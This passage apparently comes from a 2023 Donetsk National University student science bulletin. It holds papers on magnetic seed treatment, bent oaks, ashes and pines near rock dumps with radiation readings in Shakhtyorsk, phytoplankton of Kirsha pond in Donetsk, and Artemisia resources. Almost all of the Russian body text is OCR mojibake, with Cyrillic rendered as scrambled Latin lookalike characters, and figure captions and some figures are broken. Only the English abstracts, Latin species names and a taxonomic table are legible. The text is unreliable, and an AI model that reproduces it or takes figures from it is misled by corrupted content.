YCIOBUSX UMEIOT Pa3HbIe ONMTUMYMBL. DTO MOKHO HAOIO/IaTh B CTENEHU Pa3BUTHUS OPTaHOB
POPOCTKOB ceMsiH [21-22].

BbBIBO/bI

Takum oOpa3zoMm, wucxons wu3 0030pa pabOT, MOXKHO CHAENaTh BBIBOJ, YTO
MCIOJIb30BaHNE MarHUTHBIX MOJIEH Pa3IMYHOTO TUIA B KA4eCTBE MPEANOCEBHON 00paboTKH
CeMsIH SIBJISIETCA JOCTaTOYHO TNMEPCHEKTUBHBIM MeTo/0M. PekoMmeHaaiueil MOoryT ciy>KuTh
ClIeAyIOIINE TapaMeTpbl 00pabOTKH:

JI1sl MOCTOSIHHOTO MATHUTHOTO TOJISl — Pa3MEIEHNe MarHUTHOTO TOJIsl Ha BEpXHEH
yamke [lerpu, marautHas unaykuust 8§ — 10 mTn B uentpe vamku. [Ipu nanHom metone
00paboTKH yBeTMYCHHE OMOMAacChl Ha S-i 1eHb cocTaBiseT 19-20 %.

JlJ1s1 nepeMeHHOro MAarHMTHOTO MOJISA:

Couerannoe neiictBue karonuta ¢ pH=10,3 u rpagueHTHOrO0 MarHuTHoro mnoss. B
pe3yibTaTe akKTUBU3ALMN OMOJIOTHYECKHUX MPOIIECCOB B CEMEHAX pacTeHHi oOecreunBaeTcs
yIIy4IlIEHUE CTAPTOBBIX XapaKTEPUCTUK CEMSH U yBeIHUeHue ypoxaitHoctu Ha 13,9%.

MarnutHas uaaykuus — 0,065 Ti, yeTblpexKkpaTHOe MepeMarHi4iBaHue, TPAIUEHT
MarautHOTro noJist — 0,57 Ti/m, u ckopocTs aBmxkeHus cemsiH — 0,4 m/c. [lpu nanHOM pexnme
00pabOTKH BCX0XKECTh CEMsIH Bo3pacTaeT Ha 24%, a sHeprus npopactanus — Ha 28%.
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JJIsi MATHUTHO-UMILYJIbCHOM 00PadO0TKH — 4acTOTAa UMITYJIbCHOTO MArHUTHOTO MOJIS
— okoJio 30I'u. ITpu Bo31eHcTBUM UMITYJILCHOTO MAarHUTHOTO TIOJISI YBEIMUUBACTCS TMHAMUKA
MPOpACTaHus U POCTA PAaCTEHU Ha TIEPBOM 3Tare pa3BuTUsA B cpeaHeM Ha 18-20%
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VJIK 581.15 : 553.94 : 550.42 (477.60)

®EHOTHUIIUNYECKAS INIACTUYHOCTD JIPEBECHBIX PACTEHUI
ATJIOMEPAIIUU I'. LTAXTEPCKA B YCJIOBUSAX ITIOBBIINEHHOI'O
PAIMALTMOHHOI'O ®OHA ITIOPO/JJHBIX OTBAJIOB

Kpamapenko A.A.
Hayunwiit pykosooumens: Cagponos A.U., kano.ouon.nayk, 3as.kagheopoii
TIoy BIIO «/IOHHY»

Annomayus. B npomsltienHoit arnomepanuu ropoaa lllaxtépcka B JJondacce npoBezeH cO0p U aHaIN3 JaHHBIX
0 BHEIIHHX MOAM(DUKANNAX JINCTBEHHBIX U XBOWHBIX €PEBbEB, KOTOPBIE HAXOSTCS BOIM3U TOPHBIX OTBAJIOB U
KWiblX JoMoB. CoOpanbl (oTomarepuanbl TaOUTYaJIbHBIX OTJIMYMH pAacTeHUil MO JOBYM MapuipyTaMm c
HU3MEpEeHUEM paJualui B KOHTPOJIBHBIX U ONBITHBIX MOHUTOPUHIOBBIX TOYKAX.

Kniouegvie cnosa: GpuTOMHAMKALS, PaJHOIKOJIOT S, TOPOJAHBIE OTBAJIBI, BHEUIHHE MOAN(DUKALINH, XBOHHbIE U
JMCTBEHHBIE JIepeBbst, Jlonbacc.

N3yuenne pacTutenbHOro MOKpoBa B JlonOacce sSBIIsIETCS] BaXKHON Te0CTpaTernuecKon
3afaueil [1]. PaguoGuonorus pacTeHui 1 X paJlodyBCTBUTEIbHOCTb BKIIFOUEHBI BO MHOTHE
uccuenoBarenbekue nporpamMmbl Poccuiickoit ®denepanuu [2, 3]. i mpOMBIIUIEHHO
HanpsDKeHHbIX ropojoB JloHOacca TakkKe BaXKHBIM SBISETCS H3yY€HHE XapaKTepUCTHK
JPEBECHBIX PACTEHHWU TOJ BO3JCHCTBUEM pa3HBIX aOMOTHYECKHX (akTopoB cpenbl [4, 5].
WMupukannoHHass TeMaTHKa B HKOJOTMYECKOM aclekTe paspadarbiBaercs B JloHeLKOM
HallUOHATBLHOM yHHBepcuTeTe [6—9]. Tak Kkak TMOBBIIICHHBIM paaUallMOHHBIA (OH
CKa3bIBAE€TCS HE TOJBKO Ha JKU3HEAEATEIIBHOCTH PACTEHMH, HO M Ha 4YelloBeKa,
(UTOMHIUKATOPHI, MPUOOPETAIOLINE BHEIIHUE MOAM(PHUKAMOHHBIE M3MEHEHUS SIBISIOTCS
IPOCTBIMM M TOHATHBIMH IPU3HAKAMU 3arps3HEHHOCTU TEPPUTOPUM JJIsI MECTHOIO
HaceleHus. B cBA3M C OONBIIMM KOJWYECTBOM IOPOJHBIX OTBAJIOB Ha TEPPUTOPUU
NPOMBIIIICHHON arjoMepanuu ropoaa lllaxTépcka Bo3HHMKaeT ocTpas HEOOXOAUMOCTh
BBISIBJICHHSI BO3/ICHCTBUS MOBBILIEHHOIO PaJMalMOHHOrO (hoHa Ha OMOTOI, HaXOSIIUKCS
BOJIN3M U HETIOCPE/ICTBEHHO KOHTAKTUPYIOIIUI ¢ MCTOUHUKOM 3arpsi3HEHHUS.

Llenb paboThl — BBIIBUTH BHEIIHME MOJAM(UKAIIMM XBOWHBIX U JINCTBEHHBIX JI€PEBHEB
Al oLleHKH yiiepOa ¢urorona Ha mpumepe ayda uepemruaroro (Quercus robur), sicens
obsikHOBeHHOTO (Fraxinus excelsior) m cocubl o0bikHOBeHHOM (Pinus sylvestris) kak
(UTOMHINKATOPOB MOBBIIIEHHOTO PAJUALIMOHHOTO (POoHA.

B kauecTBe METOAMYECKON OCHOBBI HKCIIEPUMEHTA HCIOIb30BAIN JaHHbIE OOTaHUKO-
sKoJIoTHUecKuX HccienoBanuit B Jlonbacce [10-15], a Takxke cBeeHMs, KOHCTaTUPYIOIINE
BBICOKHI YPOBCHb TEXHOT'€HHOTO BO3JCHCTBHS Ha NPUPOJHBbIE 3KOcHUcTeMbl [16-21],
CIOCOOBI OLIEHKHU CPe/Ibl B aCHEKTE HOPMUPOBAHMSI aHTPOTIOI€HHOMN AedTenbHocTu [22, 23].

[Ipy  nnaHupoBaHMM  SKCIEPUMEHTa  OBUIM  BBIOpAHBl  IPEINOJIOKUTEIHHO
JOMUHHPYIOIIHE JONOTHUTENbHbIE (PaKTOPBI BO3ACUCTBUS HA PACTUTEIbHBIE MACCUBBI TAKUM
o0pa3om, 4yToObI ObLIa BO3MOXKHOCTb BBIWICHHUTh UX JEHCTBHE BO COBOKYITHOCTU BIIUSIHUSA
APYTUX KIMMaTHYECKUX M €CTECTBEHHO-Teorpaduyeckux (GpakTopoB cpelibl (YTO BasKHO IS
MIPOMBIIIJIEHHONW TOPOJICKOM arjoMepany B TEXHOT€HHO TPaHC(HOPMHUPOBAHHOM pPETHOHE
Jlonbacca).

B xone uccnenoBanus 6bU10 MPOAHATU3UPOBAHO PACIIONIOKEHNE MTOPOJIHBIX OTBAJIIOB U
OMM30CTh 1O OTHOWIGHMIO K HHMM MCKYCCTBEHHBIX JIECHBIX HacaxaeHuil. Ilo
KapTorpaguueckuM MmaTepuanaMm ObUIM pa3paOoTaHbl JIBa MapuipyTa MO CMEHIEHHOMY U
XBOMHOMY JIECHBIM HaCaKJIE€HUSM, IIPOJIETAIOIIUM OKOJIO MOPOJHBIX OTBaNOB (puc. 1, 2).
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Ha kaprax nedcTBylOT cieayromue 0003HAYeHHs: KpPacHbIM OOBENIEHBI MOPOIHbBIC
OTBAJIBI, TOYOOW NMHUEH 0003HAYEH MapuIpyT, & CHHUMHU KBaJpaTaMU — KOHTPOJLHBIC
TOYKH.

Puc. 1 — Mapupyt Nel o cMmenianHoi jeconocajke:
1 — xonTpoapHas Touka Nel (50 MeTpoB OT MOPOAHOTO OTBAJA);
2 — xoHTpOJbHAs Touka Ne2 (500 MEeTpOB OT TOPOJHOTO OTBAJIA);
3 — koHTposbHas Touka Ne3 (1000 MeTpoB OT MOPOTHOTO OTBANA).

Image © 2019 DigitalGlobe, Inc. Ycnosua ucnonssosanua BITT)

Puc. 2 — Mapmipyt Ne2 1o XBOHHOM JI€ECONOCAIKE:
1 — xonTpoapHas Touka Nel; 2 — koHTposibHAsI TOUKa Ne2; 3 — KOHTpobHas Touka Ne3

Crnenyst mapuipytoM Nel B mepBoi KOHTPOJIBHOU TOUKe ¢ KoopauHatamu 48.063486,
38.454089, na paccrostauu 50 M OT MOPOJHOTO OTBaja OBLJIO OOHAPYKEHO JNEPEBO SICEHS
OOBIKHOBEHHOTO C CHIIBHO NCKPUBJIEHHBIM CTBOJIOM.

69



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

[IpoBenéunslii 3amep ypoBHs paauanuu nokaszan 00,18 Mx3B/4 (pu BepxHeil HOpME Ha
otkpeiToit MmectHOCTH 00,10-00,12 MK3B/4 (puc. 3).

3ABOA
B wmnunoc

St | .
Puc. 3 — Slcerp OOBIKHOBEHHBIN C UCKPUBIEHHBIM CTBOJIOM; 2 — C HOPMAJIBHBIM CTBOJIOM;
3 — moka3zaTesnb paAnaluoHHOro (hOHA

Ha pacctosaun 500 METPOB OT HCTOYHUKA 3arpsA3HEHMs], B KOHTPOJIbHOU TOuke Ne2 ¢
koopauHaTamu  48.064101, 38.453356 Obwto 0OHapyKEHO MOJOAOE JEpeBO ayda
YeperryaToro ¢ pbbKUM OKpPacoM KOpbl, 00YCIOBIEHHBIM, [T0-BUIUMOMY, OKHUCIIaMU Kelle3a
Ha MOBEPXHOCTH CTBOJA. 3aMep panuarronHoro ¢ona — 00,18 Mx3B/4 (puc. 4).

Puc. 4 — 1 — Atunuasbiii CTBOJI 1y0a 4eperrdaToro;
2 — CTBOJI C HOPMAJILHOM OKPACKOH KOPBI
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Ha paccrosiauu ot mopoaxoro orania B 1000 MeTpoB, Takke ObLTI0 OOHAPYKEHO JIEPEBO
Slcenss OOBIKHOBEHHOTO C CHJIBHO HCKPHBIEHHBIM cTBOJIOM (puc. 5). KoopaunHatsl
KOHTposIbHOU Touku Ne3: 48.066710, 38.450680.

3amep ypous paamanuu nokasan 00,09 mMx3B/4. PamuanuonHbii poH HaXoAHUTCS B
npejenax BEpXHel HOPMBI, HO TaK Kak JIepeBo 0oJiee Moo 10€ (TI0 CPaBHEHHIO C AEPEBOM U3
ToukH Nel) OHO CuIIbHEE NIOJIBEPIKEHO BIMSIHUIO 3arPSA3HEHHUS.

8 11Sv/h (x100pR/h)
OIHWMETP 5610804

NOUCH

MUTAHUE

Puc. 5 — 1 — nepeBo siceHst 0OOBIKHOBEHHOTO C HCKPUBJIEHHBIM CTBOJIOM; 2 — JIEPEBO SICECHS
O0OBIKHOBEHHOTO C HOPMAJIBHBIM CTBOJIOM; 3 — TTOKa3aTelb paaralioHHOro oHa

Ha 3amnmanupoBanHoMm wmapmpyte Ne2 ObUTM TPOBEACHBI 3aMepbl B XBOWHOU
necorocanke. B koHTponpHOU Touke Nel ¢ koopamuHartamu 48.061793, 38.494571 Obum
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OOHApYKEHBI JIEPEBbsI COCHBI OOBIKHOBEHHOH C aHOMAJIbHO KPHUBBIMHU CTBOJamu (pucC. 6).
[TpoBenéunslii 3amep paguaronHoro ¢ona nokasan 00,19 Mx3B/4.

Puc. 6 — 1 — uckpuBIEHHBIN CTBOJ COCHBI OOBIKHOBEHHOM;
2 — HOpMAITGHBIN CTBOJ; 3 — MIOKa3aTeNb JO3UMETpa

B xonTponpsHOM Touke Ne2 (puc. 7) ¢ koopauratamu 48.065092, 38.487567 Taxxke
3aUKCUPOBAHO MCKPUBIIEHUE CTBOJIOB XBOWHBIX JI€PEBbEB, Haxonadmuxcs B 50 meTpax ot
KHWIbIX TOMOB. 3amep paauanuoHHoro ¢pona nokassisaer 00,14 Mk3B/4, 4TO HE3HAUUTEIHHO
MpEBBIIIAET HOPMY, OJIHAKO, ITOr0 JIOCTATOYHO, YTOOBI KOHCTaTHpPOBAaTh MOJAU(UKALINUN
CTBOJIOB COCEH (TUIOTETUYHO K 3TOMY HaOJIFOICHHIO).
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SIS i ‘ Y vt S
Puc. 7 -1, 2 — uckpuBn€HPbIE CTBOJIBI COCHBI OOFKHOBEHHOI; 3 - HOpMaJIbHbBIE CTRNJIBI
COCHBI OOBIKHOBCHHOU

B touke Ne3, koTopass HaXOJUTCS HA OKPaUHE JIECOINOJIOCH], TPAHUYALIEH C YAaCTHBIM
cexktopoMm (250 metrpoB) u mopoaHbM oTBasioM (400 METpOB) Takke MPOU3BENEH 3amep
panuanuonHoro ¢ona. Jlozumerp mnokaspiBaeT 00,23 MK3B/4, YTO MpPEBBILIAET HOPMY
panuanuoHHOTO (oOHAa Ha OTKPBITOH MecTHOCTH B 2 pasza (puc. 8.1). 3mech Taxke
HAOJIIOAAI0TCSl CHIIbHBIE UCKPHUBIICHUS CTBOJIOB coceH (puc. 8.2), a TakKe Ha XBOE 3aMETHO

yrojapHoOe HambuieHue (puc. 8.3).
43 ] A N

% L « B R N e - d

Puc.8 — 1- nmokasarenp pagralliOHHOTO (pOHA Ha T03UMPTPE; 2- UCKPUBIEHHBIE CTROJIBI
COCHBI OOBIKHGoE@HHOM; 3 — XBOSI C OCaJIKamd YTOJBbHOM MBLUTH

[Ipotins mo mepBoMy MapuIpyTy W TpPOBEIsS 3aMepbl Ha Pa3lUYHOM PACCTOSHUM OT
MIOPOHOT0 0TBaJIa, OTMEYEHO, YTO PaIMalliOHHBIN ()OH YMEHBILIAETCS IO Mepe YAalleHUs OT
WMCTOYHHKA 3arpsi3HeHHs. TakuMm o0pazoM, ObIT ChOPMHUPOBAH SKOJIOTHUECKUI MapIIpyTHBIN
TPEHJ PAaJUOHATPY3KH Ha MPUPOTHBIE DKOCHCTEMBI OTKPBITHIX JAHAIMA(QTHBIX CTPYKTYD.
Opnako, paxe Ha paccrosaun 1000 MeTpoB 3aMeuUeHbl HWCKPHBJICHHS CTBOJIOB
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MIPEUMYIIIECTBEHHO MOJIOJBIX JE€PEBhEB. 3 3TOr0 MOXKHO CIeNaTh BBIBOJBI, YTO MOJOJIbIC
JIepeBbsi OOJIBIIE MTOJABEPKCHBI BIUSHUIO MOBBIIICHHOTO PagralliOHHOTO (oHA, YyeMm Ooiee
CTapble M YTO Ha APXUTEKTOHUKY IPEBECHOTO PACTCHHS BIUSET HE TOJBKO pajHaius B
acrekTe TpanchopMaluu moderoodpa3zoBaHusl.

[Ipotins mo BTOpoMy MapuipyTy, MpoJerarpieMy BOIU3U OT KUIbIX Y4aCTKOB, ObUIH
3aUKCUPOBaHBl  3HAYUTEIIbHBIC  MPEBBINICHHUS  paJuallMOHHOTO (QoHa. BHemHue
MOIU(HUKAIIY COCHBI 0OBIKHOBEHHOM MPOSIBIISUIMCH B CHIIBHOM HCKPUBIICHUH CTBOJIA JIEPEBa,
9TO TMpPU HOPMAIBHBIX YCJIOBUSAX SBISETCS MPOTUBOSCTECTBEHHBIM I JAHHOTO
MIPEJICTAaBUTENSI XBOWHBIX. [Ipr 0CMOTpe XBOM HEBOOPYKEHHBIM B3TJISIZIOM BBISIBUTH HEKPO3
JMCTOBOIO anrapara He y1aioch.

[To uroram AByX MaHHBIX MapIIPYTOB, MOKHO CIIEJIaTh BBIBOJBI, YTO Jy0 UepeIIaThIi,
SICEHb OOBIKHOBCHHBI W COCHAa OOBIKHOBEHHAs SIBIISIOTCS JIOCTYIHBIMH HArJIsIIHBIMU
(bUTOMHINKATOPAMH, TIPOSIBIISIFONIMMHE BHEIIHAE MOAM(DHUKAIIMOHHBIC N3MEHEHHSI, OJ1aroiapst
KOTOPBIM MOXXHO BBISSBUTH MECTa C IOBBIINICHHBIM YPOBHEM paIuaiMoHHOro (oHa 0Oe3
CIICIUATBHOTO 000PYIOBaHHS WA UCCIIEIOBAHHA. DTO TIOMOTaeT 00eCIIeYUTh OE30MacHOCTh
MECTHBIX JKUTEJICH, HCIIOJIb3YIOIIUX PECYPCHI JISCHBIX HACAKICHH.

Takum 00pa3oMm, BISBICHBI BHEITHUE MOTU(PUKAIIMYA XBOWHBIX U JIMCTBEHHBIX JICPEBHEB
JUIs OLICHKH yiiepba ¢uroToma Ha mpuMmepe ayba ueperrdaroro (Quercus robur), sicers
obsikHOBeHHOTO (Fraxinus excelsior) u cocubl oObikHOBeHHOHM (Pinus sylvestris) kak
(UTOMHINKATOPOB MOBBIIICHHOTO PAHAIIMOHHOTO (pOoHA.
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ROCK DUMPS

Annotation. In the industrial agglomeration of the city of Shakhtyorsk in the Donbass, data were collected and
analyzed on the external modifications of deciduous and coniferous trees, which are located near mountain
dumps and residential buildings. Photographic materials of habitual differences of plants were collected along
two routes with radiation measurements at control and experimental monitoring points.
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YK 574.34
JUHAMMUKA PAZBUTUA PUTOIIVIAHKTOHA B IIPYY KUPIIA

Menan E.H.
Hayunuwiit pykosooumenv: Mupnenko 3.U. cmapwiuit npenooasameins
Ioy BIIO «/IOHHY»

Annomayus. B paboTe mTpencTaBICHH AaHHBIE O Pa3BUTHH aiubrodiuopsl B mpyay Kupma r. Jlonerka.
VYcraHOBIEHO, YTO (UTOIUIAHKTOH TMpyZAa COCTOMT U3 JAWaTOMOBO-TIPOTOKOKKOBBIMH ~KOMIUIEKCA C
HE3HAYUTEIBHBIM YYacTHEM CHHE3EJICHBIX M 3BIVICHO(PHUTOBBIX Bojopocieid. KosmuecTBeHHBIE MOKa3aTenn
XapaKTEepU30BaIN NPy KaK CPEAHHH IO CTENEHU 3arpsi3HEHUS] OPTaHWYECKUMHM BEIIeCTBaMHU. UHMCIEHHOCTH
3a9acTyl0 (POPMHUPOBAIN 3€JICHBIC BOJOPOCIH, KOTOpPBIE COCTAaBISUIA OT 42 1o 65% OT BCel YHMCICHHOCTH
(UTOIUIAHKTOHA.

Kniouesvie crosa: GpUTONIAHKTOH, anbrodopa, KONMYECTBEHHbIE IOKa3aTeNy, Npyasl, JloHelkas HapoaHas
pecnyOnuka.

['oponckass cucrema MNpyJqoB HpeACTaBiIsieT co00M MoO3aMyYHBIH KOMIUIEKC U3
WH/IMBUIYAIBHBIX BOJHBIX JKOCHCTEM, OOpa30BaHHBIX B pE3yJlbTaTe AHTPONOTCHHOTO
BO3JCUCTBUS Ha THJIPOJIOTHYECKYI0 cHUcTeMy peruoHa. CTpykTypa OHOTBI MpYHOB
MHTCHCUBHEE Ye€M B KPYIHBIX BOJOXPAHMIUINAX M OTPAXKAET MECTHBIE IKOJOTHYECKUE
YCJIOBHS, HO3TOMY HCIOJIb30BAaHUE PACTUTENIBHBIX COOOIIECTB B T'MJIPOOHOIOTHYECKOM
MOHUTOPUHIE UMEET BHICOKYIO CTETIEHb JOCTOBEPHOCTH pe3yiabTatoB [1, 2].

@DUTOMIIAHKTOH — OJUH M3 OCHOBHBIX IMEPBUYHBIX IPOAYLIEHTOB OPraHHMYECKOTro
BEILIECTBA BOJHBIX J3KocHcTeM [2]. Muorumu wuccnenoBatensimu [3-16,18] orBoguTcs
(UTOIUIAaHKTOHY OIpeIeNSIIoNas pojib B (GOPMUPOBAHMH KaueCTBa BOJIbI M OLIEHKE COCTOSTHHS
BOJIOEMOB.

KonnyecTBeHHBIN COCTaB (PUTOMIAHKTOHHBIX OPraHU3MOB UMEET OO0JIbLIOE 3HAUCHHUE
st QYHKITMOHUPOBAHUS BOIHOM SKOCHCTEMBI. B TPeCHOBOHOM ITAHKTOHE OYEHb Mo He
KOJIOHHANBHBIX BHUIOB, ocoOeHHO cpeau Cyanophyta, u GONBIIMHCTBO HCCIlenoOBaTeNeit
OTHOCAT K TMHKOIUTAHKTOHY HE TOJBKO OAMHOYHBIC KJIETKH, HO M MHKpoarperarsl u3 4-—12
KJIETOK U KOJIOHUH [2].

Kaxp1if BOZOTOK, Hapsity ¢ OOLIMMH YepTaMH Pa3BUTHS, IMEET CBOU CIIEII(PHUECKUE
YepThl, HAKJIa/bIBAIOIME OTHEYaTOK Ha OO0IIuMe 3aKOHOMEPHOCTH B (OPMHUPOBAHUHU
(GuTOMIAHKTOHA.

[lenpto paboOTHl sABISETCS OMNpENEeNeHUss CTPYKTYpbl W JAWHAMHUKU Pa3BUTHUS
¢duTorutankToHa B ipyny Kupma.

[Tpo6s1 puTonmankToHa ObLIH 0TOOpaHs! B epuoa ¢ 2019 o 2021 r B npyay Kupmia
Kuposckoro paiiona r. Jlonenka. [Ipo6s1 Bogsl otoupanu B coorsercteuu ¢ ['OCTamu [17].
IToBepxHOCTHBIE TPOOBI 0TOMpaK U3 rTyOuHbl 10 — 15¢M OT MOBEpXHOCTH BOBI MIIM HUYKHEH
KPOMKH JibJia. B MecTax Kynanust oTOMpaiu MOBEPXHOCTHBIN CIIOW BOJIBI, HE YIITyOJICHHBIE
ropasimko  OyTbUlkH. OTOOp mNpo0 NPOU3BOAMIM C HCIOJIB30BAaHHEM Pa3TUUHBIX
TUTABCPENICTB, W3 MOCTOB, IIOJIMOCTKH. Bce pe3ynbTaThl KOJWUYECTBEHHOTO aHaln3a
o0paboTaHbl cTaTUCTUYECKH B mporpamMme Exel (ompenenensl cpeanue, OMMUOKU CpeHero,
MIPOBECHO CPABHEHHE CPEIHUX ). AHAIN3 IPOO (HUTOTUTAHKTOHA TIOKa3all Hajmuure 49 BU0B
U 23 BHYTPHBHJOBBIX TaKCOHa BOJOpOCIei, nmpuHaainexkammx k 4 oraenam (Cyanophyta,
Euglenophyta, Bacillariophyta, Chlorophyta), 16 cemeiictBam u 26 pogam.

Anbroguopa npyna Kupmra umeer cnenyronryto crpykrypy. Otaen Bacillariophyta
chopmupoBaH u3 39 BUJIOB U BHYTPUBUIOBBIX TakCOHOB (56,7% oT Bcell ambroiopsi),
npuHaIexkammii 16 pomam (56,68% ot Bceit amprodmopel) u 6 cemeiictBam. Otaen
Chlorophyta, npeacrasnen 27 BUmamMu M BHYTPHBHIOBBIMH TakcoHamu (34,7% ot Bcei
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ansroduiopsl), 7 pomamu (25% ot Beeit ansroduopsi) 6 cemeiicreamu. Otaen Euglenophyta
peaCcTaBicH oAHuM BHIOM (6% ot Beelt anbroduopsr). Otaen Cunesencnsie (Cyanophyta)
ObUIH MpeCcTaBIeHbl 4 BUJaMU U BHYTPUBUIOBBIMU TakcOHaMHu (4% OT Bceil aabroiaopsl) 2
ponoB (7,1% ot Bceii anbroaopsr) 2 ceMEHCTB.

m Cyanophyta

Euglenophyta

= Bacillariophyta

Chlorophyta

Pucynok — 1 CooTHorieHre BU0BOro pasHooOpas3us B npyny Kupina

TakuMm 00pa3om, PUTOTUTAHKTOH COCTOUT U3 TUATOMOBO-TIPOTOKOKKOBBIA KOMITJICKCA
C HE3HAUUTEIbHBIM yYaCTHEM CHHE3EJICHBIX U SBIIIEHO(MUTOBBIX BOJOPOCIEH.

Omnpenenena cucreMaruyeckas CTPYKTypa BOJOpOCIEH (HUTOIUIAHKTOHA TMpyAa
Kupmia no cucreme ®@otra. PesynpTaTsl pacueToB npejacTaBieHbl B Tadm. 3.4.

Tabmuua 1 — Cucremarnyeckas CTpyKkTypa ¢puToruiankToHa npyzaa Kupia

KonunuectBo
CeMelicTBO Pojios Bijos BryTprBHI0BBIX
TAaKCOHOB
CYANOPHYTA
Oscillatoriaceae Kirsh. 1 1 1
Microcystidaceae Elenk. 1 1 1
EUGLENOPHYTA
Euglenaceae | 1 | 1 0
BACILLARIOPHYTA
Coscinodiscaceae Kiitz. 3 5 1
Tabellariaceae 1 1 0
Fragilariaceae 1 3 1
Naviculaceae West. 7 10 3
Achnanthaceae 2 3 1
Nitzschiaceae Grun. 2 8 4
CHLOROPHYTA
Chlorellaceae Brun. 1 2 1
Coelastraceae Hind. 2 2 1
Scenedesmaceae Oetm. 1 5 3
Chlamydomonadaceae 1 3 5
Characiaceae (Nag.) Will. 1 1 0
Selenastraceae (Black.) Frich. 1 3 1
Bcero B anmbrodguope 26 49 23
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®durorankToH npyaa Kupra chopmupoBan u3 ciieayroniue cemeiicts. Hanbonpmm
BUJIOBBIM pa3HooOpa3ueM Bbieisuiuch cemerictBa Nitzschiaceae (21,3% ot oOrero uucna
BugoB) u Naviculaceae (15,2% ot obmiero urciaa BumoB). OcTalbHBIE ceMECTBa OTAeIa
Bacillariophyta cdopmupoBamu  9,3% (ot oOmero wuymcna BuaoB). CeMelCTBO
Scenedesmaceae otamena Chlorophyta umeno Hambonbliee KOJIMYECTBO BHAOB U
BHYTpUBUIOBbIX TakcoHa (11,4% oOmero uwmcna Bumos). Chlamydomonadaceae wu
Selenastraceae chopmupoanurt 8,1% (obmiero urcia Buaos). Oraen Euglenophyta sximrouan
onHo cemeiictBo — Euglenaceae (7% obmiero uncna Bunos). CemeiictBa Oscillatoriaceae u
Microcystidaceae ornena Cyanophyta Bkiodasu Mo 0{HOMY BHJIOBOMY M BHYTPHBHIOBOMY
TaKCOHY.

B npobax ¢urorutankTona npyna Kupiia HanOONbIIyI0 4acTOTy BCTPEYACMOCTH
umenu Buabl: Scenedesmus quadricauda Bréb., S. acuminatus Chod., Cyclotella setingera
Kiitz., Nitzschia longissima Grun., Synedra ulna Ehr., Navicula viridula Kiitz., Chlorella
vulgaris Bejer, Chlamydomonas reingardi Korsch. Enenrnuno B mpo6ax ormeuensl: Nitzschia
acicularis W.Sm., N. gracilis Hust, N. linearis W.Sm, Euglena viridis Schmitz.

B pabote onpeeneHa ce30HHast TMHAMKKA KOJMYECTBA BUIOB B IIpo0ax npyaa Kupia
Pe3ynbraThl peacraBieHsl Ha puc. 1.

= 25 23\ R
%20 % %

anpenb Mait HIOJIb aBIYCT CCHTSIOPH

Pucynok 1. Ce3oHHas ITuHaMHMKa BHJOBOTO pa3HOOOpaszus (DUTOIIAHKTOHA INpyAa
Kupmra.

KonmdecTBeHHBIE JaHHBIE O Pa3BUTHH (UTOIUIAHKTOHA 10 MHOTOJIETHUM CPETHUM
TIOKA3aHUAM COCTABIIAIM: YMCIEHHOCTh — 459 ki1/mM® (ompejiensiy 3eIeHble BOAOPOCIH), a
Gromacca — 598,6 Mxr/am° (ompenensiii TMaTOMOBBIEC U 3€JI€HBIC BOJOPOCIH). UHCIIEHHOCTh
3agactyto ¢popmupoBan otaen Chlorophyta kotopeiii cocraBmsm or 42 no 65% ot Bceit
YHCICHHOCTH (DUTOIUTAHKTOHA TIPHBOAS K 3HAYMTEIHHOMY pAa3BUTHIO 3HAYUTEIHHO
JIMAaTOMOBBIX M CHHE-3€IEHBIX BOjOpocieil. B yeTHHil mepuosa 3adacTyio JOMUHUPOBAIU
CHHE3EJICHbIE C HEOOJBIIIMM BKITIOYEHHUEM SBI'C€HOBBIX H 3€JICHBIX.

Takum oOpa3oM, cTpykTypa (QUTOIUIaHKTOHA mpyna Kupiia mmeer pa3HOMMKOBBIHA
XapakTep, a ero pa3BUTHE MOAYMHEHO KTy CBUpPEHKAa C MAaCCOBBIM Pa3BUTHEM 3E€JICHBIX U
JMAaTOMOBBIX BOJIOPOCJIEH B 3aBUCUMOCTH OT ce30Ha roaa. B ambroduope Hanbosee yacto
Obut TpenctasieHbl cemeiictBa Nitzschiaceae, Naviculaceae u Scenedesmaceae. B
JanbHeHeM Heo0X0AUMO IPOBOIUTh MOHUTOPHHT NPYA0B JloHOacca ¢ enblo U3y4eHUs UX
OropazHooOpa3usi.
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[TonydeHHble  pe3ynbTaThl — @JbIOJOIMYECKMX  HCCIEAOBAHUM  MOTIYT  OBITh
MCTIOJIB30BAHBI JUIsl TIONOJIHEHUsT 0a3bl JaHHBIX OMOPa3HOOOpa3us (PUTOIIAHKTOHA HPY/IOB
r. JIoHelKa, a TakKe OLEHKHU 3KOJIOIMYECKOro ()oHA BOJJOEMOB.
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DYNAMICS OF PHYTOPLANKTON DEVELOPMENT IN KIRSHA POND

Annotation. The paper presents data on the development of algoflora in the Kirsha pond in Donetsk. It has been
established that the phytoplankton of the pond consists of a diatom-protococcal complex with insignificant
participation of blue-green and euglenophytic algae. Quantitative indicators characterized the pond as average
in terms of the degree of pollution by organic substances. The abundance was often formed by green algae, which
made up from 42 to 65% of the total phytoplankton population.

Keywords: phytoplankton, algoflora, quantitative indicators, ponds, Donetsk People's Republic.

Melan E.I.
Scientific adviser: E.l. Mirnenko
Donetsk National University
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PECYPCOEMKOCTH BUJIOB POJIA ARTEMISIA JIOHBACCA B KOHTEKCTE
3KCHO3UIIMOHHOM JEATEJIBHOCTH

Menvnuxoe /I.A, Cmynak A.3.
Hayunwuit pyxosooumens: Cagponos A.HU., kano.ouon.nayk, 3ae.kagheopoii
oy BIIO «/[OHHY»

Annomayus. Ha 0CHOBaHMH IIOJTOTOBJICHHOTO BBICTABOYHOI'O MaTepHala MEXITYHAPOIHOTO SKOJIOTHYECKOTO
¢opyma B r. J[oHemKe ObUIH MPOaHATM3UPOBAHBI IOKA3aTEIN PECYPCHBIX BO3MOXKHOCTEH BHIOB poaa Artemisia
B Jlonbacce (Ha mpuMepe MPOMBIIIICHHBIX SKOTONOB U OyQepHBIX TePPUTOPHIl IPHPOTHO-3aIIOBETHOTO (GOHIA
Honenkoit Haponnoit PecryOnmkm).

Knrouesvle crosa: nekapcTBeHHOE CHIPbe, MOHUTOPHHT, [loHbacc, putonnankanus, Artemisia.

Hcnonp30BaHne paCTUTEIBHOIO CBHIPhS B TPAJULUOHHON MEJULMHE — COBPEMEHHBIN
TpeHa ¢apmakonorndeckoir wHAycTpuu [1, 2]. B cBoeil mpenpimymelr pabote MbI
YCTaHOBWJIM, YTO NPEACTABUTEIM POJA IOJIBIHB SABIIAIOTCS NEPCIEKTUBHBIMU PECYpPCHBIMU
